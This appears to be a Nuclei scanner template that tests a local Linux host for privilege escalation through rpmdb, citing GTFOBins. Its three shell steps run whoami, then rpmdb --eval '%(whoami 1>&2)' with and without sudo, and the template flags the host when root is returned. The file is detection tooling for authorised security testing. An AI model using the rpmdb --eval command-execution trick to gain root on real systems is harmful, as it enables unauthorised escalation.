nuclei-templates/code/privilege-escalation/linux/binary/privesc-rpmdb.yaml

49 lines
1.3 KiB
YAML

id: privesc-rpmdb
info:
name: rpmdb - Privilege Escalation
author: daffainfo
severity: high
description: |
The rpmdb is the database used by the RPM Package Manager to store metadata about installed packages on a Linux system. It is used to track information about installed packages, including their files, dependencies, and other attributes. The rpmdb is a critical component of package management on RPM-based Linux distributions.
reference:
- https://gtfobins.github.io/gtfobins/rpmdb/
metadata:
verified: true
max-request: 3
tags: code,linux,rpmdb,privesc,local
self-contained: true
code:
- engine:
- sh
- bash
source: |
whoami
- engine:
- sh
- bash
source: |
rpmdb --eval '%(whoami 1>&2)'
- engine:
- sh
- bash
source: |
sudo rpmdb --eval '%(whoami 1>&2)'
matchers-condition: and
matchers:
- type: word
part: code_1_response
words:
- "root"
negative: true
- type: dsl
dsl:
- 'contains(code_2_response, "root")'
- 'contains(code_3_response, "root")'
condition: or
# digest: 4a0a00473045022100af943a1eeee8d6c0643c709c6435ed419c2927e3050cbf993f55500f834a0d0e02202f4e7d7c197b4503edeb94b397c521fc90fe58d3c38a4748d47167548d072897:922c64590222798bb761d5b6d8e72950